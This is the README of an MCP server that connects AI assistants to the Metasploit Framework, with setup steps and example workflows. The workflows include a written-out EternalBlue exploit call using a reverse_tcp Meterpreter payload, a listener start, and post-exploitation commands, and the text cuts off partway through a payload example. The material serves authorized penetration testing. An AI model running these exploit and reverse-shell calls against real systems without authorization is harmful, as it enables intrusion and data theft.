Metasploit MCP Server is a bridge that connects AI assistants to the Metasploit Framework penetration testing platform through the Model Context Protocol. It exposes Metasploit's RPC functionality as standardized tools, enabling natural language control of complex security testing workflows. Key capabilities include: - **Module Discovery**: Search and list available exploit, payload, auxiliary, and post-exploitation modules with platform and architecture filtering - **Exploit Execution**: Configure and run exploits against targets with optional safety checks before deployment - **Payload Generation**: Create custom payload files for specific platforms and architectures using the Metasploit RPC - **Session Management**: Inspect active sessions, execute commands in shell or Meterpreter sessions, and terminate connections - **Handler Control**: Start multi/handlers to receive connections, view active listeners, and manage background jobs The server connects to a running Metasploit RPC daemon (msfrpcd) and supports both HTTP/SSE and STDIO transport modes for integration with Claude Desktop and other MCP clients.

Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

This MCP server provides a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It allows AI assistants to dynamically access and control Metasploit functionality through standardized tools, enabling a natural language interface to complex security testing workflows.

Features

Module Information

Exploitation Workflow

Payload Generation

Session Management

Handler Management

Prerequisites

Installation

1. Clone this repository 2. Install dependencies:

   pip install -r requirements.txt
   

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Usage

Start the Metasploit RPC service:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Transport Options

The server supports two transport methods:

You can explicitly select the transport mode using the --transport flag:

# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
Run with STDIO transport
python MetasploitMCP.py --transport stdio

Additional options for HTTP mode:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop Integration

For Claude Desktop integration, configure claude_desktop_config.json:

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Other MCP Clients

For other MCP clients that use HTTP/SSE:

1. Start the server in HTTP mode:

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configure your MCP client to connect to: - SSE endpoint: http://your-server-ip:8085/sse

Security Considerations

⚠️ IMPORTANT SECURITY WARNING:

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

Example Workflows

Basic Exploitation

1. List available exploits: list_exploits("ms17_010") 2. Select and run an exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444}) 3. List sessions: list_active_sessions() 4. Run commands: send_session_command(1, "whoami")

Post-Exploitation

1. Run a post module: run_post_module("windows/gather/enum_logged_on_users", 1) 2. Send custom commands: send_session_command(1, "sysinfo") 3. Terminate when done: terminate_session(1)

Handler Management

1. Start a listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444) 2. List active handlers: list_listeners() 3. Generate a payload: `generate_payload("